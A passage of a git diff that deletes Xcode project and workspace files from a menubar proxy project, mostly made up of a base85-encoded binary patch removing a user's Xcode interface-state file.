AD1F929B238864240088A917 /* Project object */; -} diff --git a/menubar/proxy.py.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/menubar/proxy.py.xcodeproj/project.xcworkspace/contents.xcworkspacedata deleted file mode 100644 index 9243bd42bc..0000000000 --- a/menubar/proxy.py.xcodeproj/project.xcworkspace/contents.xcworkspacedata +++ /dev/null @@ -1,7 +0,0 @@ - - - - - diff --git a/menubar/proxy.py.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/menubar/proxy.py.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist deleted file mode 100644 index 18d981003d..0000000000 --- a/menubar/proxy.py.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist +++ /dev/null @@ -1,8 +0,0 @@ - - - - - IDEDidComputeMac32BitWarning - - - diff --git a/menubar/proxy.py.xcodeproj/project.xcworkspace/xcuserdata/abhinav.xcuserdatad/UserInterfaceState.xcuserstate b/menubar/proxy.py.xcodeproj/project.xcworkspace/xcuserdata/abhinav.xcuserdatad/UserInterfaceState.xcuserstate deleted file mode 100644 index 9f1757a0c3de32149b20a2e78fd79493a278b1f9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 29254 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 